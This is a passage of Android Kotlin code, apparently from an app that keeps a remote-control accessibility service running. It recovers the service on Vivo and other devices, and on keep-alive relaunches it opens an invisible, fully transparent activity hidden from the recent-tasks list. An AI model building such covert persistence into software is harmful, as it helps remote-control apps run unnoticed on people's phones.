|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:APP打开时强制检查并恢复无障碍服务
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun forceCheckAndRecoverAccessibilityService() {
|
|
|
|
|
|
Log.i(TAG, "🔍 APP打开时强制检查无障碍服务状态")
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
|
|
|
|
|
|
val serviceInstance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
val serviceRunning = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "📊 无障碍服务状态检查:")
|
|
|
|
|
|
Log.i(TAG, " - 权限启用状态: $isAccessibilityEnabled")
|
|
|
|
|
|
Log.i(TAG, " - 服务实例存在: ${serviceInstance != null}")
|
|
|
|
|
|
Log.i(TAG, " - 服务运行状态: $serviceRunning")
|
|
|
|
|
|
|
|
|
|
|
|
if (isAccessibilityEnabled) {
|
|
|
|
|
|
if (serviceInstance == null || !serviceRunning) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 检测到无障碍服务权限已启用但服务未运行,尝试强制恢复")
|
|
|
|
|
|
forceRecoverAccessibilityService()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 无障碍服务运行正常")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "ℹ️ 无障碍服务权限未启用,等待用户手动启用")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 强制检查无障碍服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:强制恢复无障碍服务
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun forceRecoverAccessibilityService() {
|
|
|
|
|
|
// 检查是否为Vivo设备
|
|
|
|
|
|
val isVivoDevice = android.os.Build.BRAND?.lowercase()?.contains("vivo") == true ||
|
|
|
|
|
|
android.os.Build.MANUFACTURER?.lowercase()?.contains("vivo") == true
|
|
|
|
|
|
|
|
|
|
|
|
if (isVivoDevice) {
|
|
|
|
|
|
Log.i(TAG, "📱 检测到Vivo设备,使用Vivo特定恢复策略")
|
|
|
|
|
|
handleVivoAccessibilityRecovery()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "📱 非Vivo设备,使用标准恢复策略")
|
|
|
|
|
|
performStandardAccessibilityRecovery()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:Vivo设备无障碍服务恢复
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleVivoAccessibilityRecovery() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔄 开始Vivo无障碍服务恢复")
|
|
|
|
|
|
|
|
|
|
|
|
// 启动Vivo恢复处理器
|
|
|
|
|
|
val recoveryHandler = com.hikoncont.service.modules.VivoAccessibilityRecovery(this)
|
|
|
|
|
|
|
|
|
|
|
|
// 检查无障碍服务状态
|
|
|
|
|
|
val status = recoveryHandler.checkAccessibilityServiceStatus()
|
|
|
|
|
|
Log.i(TAG, "📊 Vivo无障碍服务状态: $status")
|
|
|
|
|
|
|
|
|
|
|
|
if (!status.isEnabled) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Vivo设备:无障碍服务未启用,引导用户手动启用")
|
|
|
|
|
|
guideUserToEnableAccessibility()
|
|
|
|
|
|
} else if (status.isEnabled && !status.isRunning) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Vivo设备:无障碍服务已启用但未运行,尝试Vivo特定恢复")
|
|
|
|
|
|
performVivoSpecificRecovery()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ Vivo设备:无障碍服务状态正常")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ Vivo无障碍服务恢复失败", e)
|
|
|
|
|
|
// 启动降级模式防止APP闪退
|
|
|
|
|
|
startDegradedMode()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:引导用户手动启用无障碍服务
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun guideUserToEnableAccessibility() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "📱 引导用户到无障碍设置页面")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"📱 Vivo设备检测\n请手动启用无障碍服务\n1. 点击下方按钮\n2. 找到应用名称\n3. 启用服务\n4. 返回应用",
|
|
|
|
|
|
android.R.color.holo_orange_dark
|
|
|
|
|
|
)
|
|
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "打开无障碍设置"
|
|
|
|
|
|
enableButton.setBackgroundColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 修改:不自动跳转无障碍设置,等待用户手动点击按钮
|
|
|
|
|
|
// android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
// openAccessibilitySettings()
|
|
|
|
|
|
// }, 1000)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 引导用户启用无障碍服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:Vivo特定恢复策略
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun performVivoSpecificRecovery() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔄 执行Vivo特定恢复策略")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔄 Vivo设备恢复中\n正在尝试多种恢复策略\n请稍候..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 启动恢复协程
|
|
|
|
|
|
CoroutineScope(Dispatchers.IO).launch {
|
|
|
|
|
|
val recoveryHandler =
|
|
|
|
|
|
com.hikoncont.service.modules.VivoAccessibilityRecovery(this@MainActivity)
|
|
|
|
|
|
|
|
|
|
|
|
var attempts = 0
|
|
|
|
|
|
val maxAttempts = 3
|
|
|
|
|
|
|
|
|
|
|
|
while (attempts < maxAttempts) {
|
|
|
|
|
|
attempts++
|
|
|
|
|
|
Log.d(TAG, "🔄 Vivo恢复尝试 $attempts/$maxAttempts")
|
|
|
|
|
|
|
|
|
|
|
|
if (recoveryHandler.recoverAccessibilityService()) {
|
|
|
|
|
|
Log.i(TAG, "✅ Vivo无障碍服务恢复成功")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "✅ Vivo设备恢复成功\n无障碍服务已正常运行"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
return@launch
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
delay(2000L)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 恢复失败,启动降级模式
|
|
|
|
|
|
Log.w(TAG, "⚠️ Vivo恢复失败,启动降级模式")
|
|
|
|
|
|
startDegradedMode()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ Vivo特定恢复失败", e)
|
|
|
|
|
|
startDegradedMode()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:启动降级模式
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startDegradedMode() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "📱 启动降级模式:禁用部分功能,保持APP稳定")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"📱 降级模式已启动\n部分功能已禁用\nAPP保持稳定运行\n💡 建议重启应用",
|
|
|
|
|
|
android.R.color.holo_orange_dark
|
|
|
|
|
|
)
|
|
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "重启应用"
|
|
|
|
|
|
enableButton.setBackgroundColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 禁用保活服务
|
|
|
|
|
|
val disableKeepAliveIntent = Intent("android.mycustrecev.DISABLE_KEEPALIVE")
|
|
|
|
|
|
sendBroadcast(disableKeepAliveIntent)
|
|
|
|
|
|
|
|
|
|
|
|
// 启动基础服务
|
|
|
|
|
|
val basicServiceIntent =
|
|
|
|
|
|
Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
|
|
|
|
|
startForegroundService(basicServiceIntent)
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 降级模式已启动")
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动降级模式失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 修复:优化的保活检测方法,避免误判导致卡顿
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun shouldJumpToTransparentActivity(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
// 快速检查:如果Intent明确包含保活参数,直接返回true
|
|
|
|
|
|
val intent = getIntent()
|
|
|
|
|
|
if (intent != null) {
|
|
|
|
|
|
val explicitKeepAlive = intent.getBooleanExtra("keepalive_launch", false) ||
|
|
|
|
|
|
intent.getBooleanExtra("from_keepalive", false) ||
|
|
|
|
|
|
intent.getBooleanExtra("keepalive_service_start", false)
|
|
|
|
|
|
|
|
|
|
|
|
if (explicitKeepAlive) {
|
|
|
|
|
|
Log.i(TAG, "🫥 检测到明确的保活参数,跳转到透明Activity")
|
|
|
|
|
|
return true
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否来自用户主动启动,如果是则不跳转
|
|
|
|
|
|
if (intent.action == Intent.ACTION_MAIN &&
|
|
|
|
|
|
intent.categories?.contains(Intent.CATEGORY_LAUNCHER) == true) {
|
|
|
|
|
|
Log.d(TAG, "🔒 用户主动启动,不跳转到透明Activity")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (intent.getBooleanExtra("user_initiated", false)) {
|
|
|
|
|
|
Log.d(TAG, "🔒 用户主动启动标识,不跳转到透明Activity")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查透明保活Activity是否已经在运行
|
|
|
|
|
|
val transparentActivity = com.hikoncont.TransparentKeepAliveActivity.getInstance()
|
|
|
|
|
|
if (transparentActivity != null) {
|
|
|
|
|
|
Log.i(TAG, "🫥 透明保活Activity已运行,跳转到透明Activity")
|
|
|
|
|
|
return true
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
false
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查保活状态失败", e)
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 参考zuiqiang:严格的保活检测方法,避免频繁启动和动画
|
|
|
|
|
|
* ✅ 关键:只有在安装完成后才进行保活检测
|
|
|
|
|
|
* ✅ 新增:OPPO设备禁用Activity保活检测
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isLaunchedByKeepAlive(): Boolean {
|
|
|
|
|
|
// ✅ 新增:OPPO设备禁用Activity保活检测
|
|
|
|
|
|
if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) {
|
|
|
|
|
|
Log.i(TAG, "📱 OPPO设备:禁用Activity保活检测,仅使用服务保活")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
return try {
|
|
|
|
|
|
// ✅ 关键:首先检查安装是否完成,未完成则不进行保活检测
|
|
|
|
|
|
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
|
|
|
|
|
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
|
|
|
|
|
|
|
|
|
|
|
if (!isInstallationComplete) {
|
|
|
|
|
|
Log.d(TAG, "🔒 安装未完成,跳过保活检测")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查安装完成时间,确保不是刚安装完成
|
|
|
|
|
|
val installationTime = installationStateManager.getInstallationTime()
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
val timeSinceInstallation = currentTime - installationTime
|
|
|
|
|
|
|
|
|
|
|
|
// 如果安装完成时间少于30秒,跳过保活检测(给系统足够时间稳定)
|
|
|
|
|
|
if (timeSinceInstallation < 30000L) {
|
|
|
|
|
|
Log.d(TAG, "🔒 安装刚完成(${timeSinceInstallation}ms),跳过保活检测,等待系统稳定")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val intent = getIntent()
|
|
|
|
|
|
if (intent == null) {
|
|
|
|
|
|
Log.d(TAG, "🔍 Intent为空,非保活拉起")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查是否为用户主动启动(通过桌面图标)
|
|
|
|
|
|
if (intent.action == Intent.ACTION_MAIN &&
|
|
|
|
|
|
intent.categories?.contains(Intent.CATEGORY_LAUNCHER) == true
|
|
|
|
|
|
) {
|
|
|
|
|
|
Log.d(TAG, "🔒 用户主动启动,跳过保活检测")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查是否为用户主动启动标识
|
|
|
|
|
|
if (intent.getBooleanExtra("user_initiated", false) == true) {
|
|
|
|
|
|
Log.d(TAG, "🔒 用户主动启动标识,跳过保活检测")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查是否来自安装完成广播
|
|
|
|
|
|
if (intent.getBooleanExtra("from_installation_complete", false) == true) {
|
|
|
|
|
|
Log.d(TAG, "🔒 来自安装完成广播,跳过保活检测")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:快速检查保活相关参数
|
|
|
|
|
|
val fromKeepAlive = intent.getBooleanExtra("from_keepalive", false)
|
|
|
|
|
|
val keepaliveLaunch = intent.getBooleanExtra("keepalive_launch", false)
|
|
|
|
|
|
val fromService = intent.getBooleanExtra("from_service", false)
|
|
|
|
|
|
val fromBroadcast = intent.getBooleanExtra("from_broadcast", false)
|
|
|
|
|
|
val keepaliveServiceStart = intent.getBooleanExtra("keepalive_service_start", false)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:检查是否为保活启动
|
|
|
|
|
|
val isKeepAliveLaunch = fromKeepAlive || keepaliveLaunch || fromService || fromBroadcast || keepaliveServiceStart
|
|
|
|
|
|
|
|
|
|
|
|
if (isKeepAliveLaunch) {
|
|
|
|
|
|
Log.i(TAG, "🫥 检测到保活相关参数,判断为保活程序拉起")
|
|
|
|
|
|
return true
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:更严格的启动频率检查
|
|
|
|
|
|
val lastLaunchTime = getSharedPreferences("keepalive_launch", Context.MODE_PRIVATE)
|
|
|
|
|
|
.getLong("last_launch_time", 0)
|
|
|
|
|
|
val timeSinceLastLaunch = currentTime - lastLaunchTime
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:更严格的频率检测,2秒内启动认为是保活
|
|
|
|
|
|
if (timeSinceLastLaunch < 2000L) {
|
|
|
|
|
|
Log.i(TAG, "🫥 检测到频繁启动(${timeSinceLastLaunch}ms),判断为保活程序拉起")
|
|
|
|
|
|
return true
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:检查是否在后台启动(保活特征)
|
|
|
|
|
|
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|
|
|
|
|
val runningTasks = activityManager.getRunningTasks(1)
|
|
|
|
|
|
val isBackgroundLaunch = runningTasks.isNotEmpty() &&
|
|
|
|
|
|
runningTasks[0].topActivity?.packageName != packageName
|
|
|
|
|
|
|
|
|
|
|
|
if (isBackgroundLaunch) {
|
|
|
|
|
|
Log.i(TAG, "🫥 检测到后台启动,判断为保活程序拉起")
|
|
|
|
|
|
return true
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:检查应用是否在前台,如果不在前台启动则认为是保活
|
|
|
|
|
|
val isAppInForeground = try {
|
|
|
|
|
|
val appProcesses = activityManager.runningAppProcesses
|
|
|
|
|
|
appProcesses?.any {
|
|
|
|
|
|
it.processName == packageName &&
|
|
|
|
|
|
it.importance == android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
|
|
|
|
|
|
} ?: false
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (!isAppInForeground) {
|
|
|
|
|
|
Log.i(TAG, "🫥 检测到应用不在前台启动,判断为保活程序拉起")
|
|
|
|
|
|
return true
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 记录本次启动时间
|
|
|
|
|
|
getSharedPreferences("keepalive_launch", Context.MODE_PRIVATE)
|
|
|
|
|
|
.edit()
|
|
|
|
|
|
.putLong("last_launch_time", currentTime)
|
|
|
|
|
|
.apply()
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📱 非保活程序拉起,正常启动")
|
|
|
|
|
|
false
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查保活拉起状态失败", e)
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:检查服务是否运行
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isServiceRunning(serviceClass: Class<*>): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val activityManager =
|
|
|
|
|
|
getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|
|
|
|
|
val runningServices = activityManager.getRunningServices(Integer.MAX_VALUE)
|
|
|
|
|
|
|
|
|
|
|
|
runningServices.any { it.service.className == serviceClass.name }
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查服务运行状态失败", e)
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:为保活拉起设置透明窗口,避免闪屏
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun setupTransparentWindowForKeepAlive() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🫥 设置透明窗口,避免保活拉起时闪屏")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 修复:异步设置透明窗口,避免阻塞主线程
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).post {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 设置透明主题
|
|
|
|
|
|
setTheme(R.style.Theme_Transparent)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置窗口为透明
|
|
|
|
|
|
window.setFlags(
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS,
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置窗口背景为透明
|
|
|
|
|
|
window.setBackgroundDrawableResource(android.R.color.transparent)
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟设置状态栏和导航栏,避免ANR
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 设置状态栏和导航栏为透明
|
|
|
|
|
|
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
|
|
|
|
|
|
window.statusBarColor = android.graphics.Color.TRANSPARENT
|
|
|
|
|
|
window.navigationBarColor = android.graphics.Color.TRANSPARENT
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 设置系统UI可见性
|
|
|
|
|
|
window.decorView.systemUiVisibility = (
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 创建透明视图
|
|
|
|
|
|
val transparentView = View(this@MainActivity)
|
|
|
|
|
|
transparentView.setBackgroundColor(android.graphics.Color.TRANSPARENT)
|
|
|
|
|
|
setContentView(transparentView)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置窗口透明度
|
|
|
|
|
|
window.decorView.alpha = 0f
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 透明窗口设置完成")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 延迟设置透明窗口失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 100) // 100ms延迟,避免ANR
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 设置透明窗口失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 设置透明窗口失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:跳转到透明Activity并结束自己
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun jumpToTransparentActivityAndFinish() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🫥 开始跳转到透明Activity并结束自己")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 强化安装完成检查
|
|
|
|
|
|
val installationStateManager =
|
|
|
|
|
|
com.hikoncont.util.InstallationStateManager.getInstance(this)
|
|
|
|
|
|
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
|
|
|
|
|
|
|
|
|
|
|
if (!isInstallationComplete) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 安装未完成,透明保活Activity无效,直接结束")
|
|
|
|
|
|
finish()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查安装完成时间,确保不是刚安装完成
|
|
|
|
|
|
val installationTime = installationStateManager.getInstallationTime()
|
|
|
|
|
|
val transparentCurrentTime = System.currentTimeMillis()
|
|
|
|
|
|
val timeSinceInstallation = transparentCurrentTime - installationTime
|
|
|
|
|
|
|
|
|
|
|
|
if (timeSinceInstallation < 30000L) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 安装刚完成(${timeSinceInstallation}ms),透明保活Activity无效,直接结束")
|
|
|
|
|
|
finish()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查应用启动次数
|
|
|
|
|
|
val appLaunchCount = getSharedPreferences("app_launch", Context.MODE_PRIVATE)
|
|
|
|
|
|
.getInt("launch_count", 0)
|
|
|
|
|
|
|
|
|
|
|
|
if (appLaunchCount < 3) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 应用启动次数不足($appLaunchCount),透明保活Activity无效,直接结束")
|
|
|
|
|
|
finish()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 启动透明保活Activity
|
|
|
|
|
|
val transparentIntent =
|
|
|
|
|
|
Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply {
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) // 禁用动画,避免闪屏
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) // ✅ 修复:从最近任务中排除
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) // ✅ 修复:单例模式,避免重复创建
|
|
|
|
|
|
putExtra("keepalive_launch", true)
|
|
|
|
|
|
putExtra("from_main_activity", true)
|
|
|
|
|
|
putExtra("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 禁用当前Activity的动画
|
|
|
|
|
|
overridePendingTransition(0, 0)
|
|
|
|
|
|
|
|
|
|
|
|
startActivity(transparentIntent)
|
|
|
|
|
|
Log.i(TAG, "✅ 透明保活Activity已启动")
|
|
|
|
|
|
|
|
|
|
|
|
// 立即结束自己,减少延迟
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🛑 保活程序拉起,MainActivity立即结束")
|
|
|
|
|
|
finish()
|
|
|
|
|
|
overridePendingTransition(0, 0) // 禁用结束动画
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 结束MainActivity失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 50) // 减少延迟到50ms,更快响应
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 跳转到透明Activity失败", e)
|
|
|
|
|
|
// 如果跳转失败,直接结束
|
|
|
|
|
|
finish()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:标准无障碍服务恢复
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun performStandardAccessibilityRecovery() {
|
|
|
|
|
|
Log.i(TAG, "🔄 开始强制恢复无障碍服务")
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
|
|
|
|
|
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考 f 目录策略:不启动多余的保活服务,只启动主前台服务
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 只启动主前台服务(对应 f 目录的 BackRunServerUseUse)
|
|
|
|
|
|
val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
|
|
|
|
|
if (android.os.Build.VERSION.SDK_INT >= 26) {
|
|
|
|
|
|
startForegroundService(foregroundIntent)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
startService(foregroundIntent)
|
|
|
|
|
|
}
|
|
|
|
|
|
Log.i(TAG, "✅ 已启动主前台服务做后台恢复(参考 f 目录策略)")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 启动主前台服务失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 方法3: 延迟检查恢复效果
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
checkRecoveryResult()
|
|
|
|
|
|
}, 3000) // 3秒后检查
|
|
|
|
|
|
|
|
|
|
|
|
// 方法4: 如果广播无效,尝试直接启动服务
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
val serviceInstance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (serviceInstance == null) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 广播重启无效,尝试直接启动无障碍服务")
|
|
|
|
|
|
tryDirectStartAccessibilityService()
|
|
|
